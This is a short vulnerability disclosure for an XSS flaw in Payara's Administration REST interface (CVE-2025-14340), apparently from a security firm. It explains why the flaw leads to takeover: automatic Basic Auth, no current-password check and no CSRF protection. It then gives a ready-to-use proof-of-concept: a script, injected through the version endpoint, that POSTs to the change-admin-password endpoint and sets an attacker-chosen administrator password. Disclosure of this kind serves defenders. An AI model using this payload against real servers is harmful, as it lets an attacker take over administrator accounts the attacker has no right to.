# XSS to Admin account takeover (CVE-2025-14340)
A Cross-Site Scripting vulnerability in Payara’s Administration Rest Interface, allows execution
of attacker-controlled JavaScript leading to admin account take over. Because of:
1. The panel uses HTTP Basic Auth (credentials are sent automatically by the browser for same-origin requests).
2. The change-admin-password endpoint does not require the current password to update a user’s password.
3. The change-admin-password form does not have CSRF protection.
4. An injected script using the XSS in `/management/domain/version` can POST to `/management/domain/change-admin-password` and set an attacker-chosen password for any target account — resulting in administrator account takeover.
#### Proof of Concept
URL:
`https://panel.example.com:4848/management/domain/version?<PAYLOAD>`
PAYLOAD:
```
<script>
fetch('/management/domain/change-admin-password', {
method: 'POST',
headers: {
'X-Requested-By': 'GlassFish REST HTML interface',
'Accept': 'text/html',
'Content-Type': 'application/x-www-form-urlencoded'
},
body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>
```
## Legal
AUTHORIZED USE ONLY. DeepSecurity Perú does not endorse unauthorized access and takes no responsibility for any misuse of the information provided.
